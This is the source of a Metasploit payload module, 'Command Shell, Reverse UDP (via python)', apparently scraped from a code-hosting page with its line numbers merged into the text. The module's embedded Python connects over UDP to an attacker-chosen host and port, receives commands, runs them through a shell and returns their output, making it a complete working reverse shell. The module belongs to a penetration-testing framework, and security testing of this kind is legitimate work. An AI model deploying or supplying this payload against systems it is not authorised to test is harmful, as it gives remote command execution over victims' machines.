Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/python/shell_reverse_udp.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = :dynamic910include Msf::Payload::Single11include Msf::Payload::Python12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Command Shell, Reverse UDP (via python)',17'Description' => 'Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.',18'Author' => 'RageLtMan <rageltman[at]sempervictus>',19'License' => MSF_LICENSE,20'Platform' => 'python',21'Arch' => ARCH_PYTHON,22'Handler' => Msf::Handler::ReverseUdp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'python',25'Payload' =>26{27'Offsets' => { },28'Payload' => ''29}30))31end3233#34# Constructs the payload35#36def generate(_opts = {})37super + command_string38end3940#41# Returns the command string to use for execution42#43def command_string44cmd = <<~PYTHON45import socket as s46import subprocess as r47so=s.socket(s.AF_INET,s.SOCK_DGRAM)48o=b''49while True:50so.sendto(o,('#{datastore['LHOST']}',#{datastore['LPORT']}))51d=so.recv(1024)52if len(d)==0:53break54p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)55o=p.stdout.read()+p.stderr.read()56PYTHON5758py_create_exec_stub(cmd)59end6061end62636465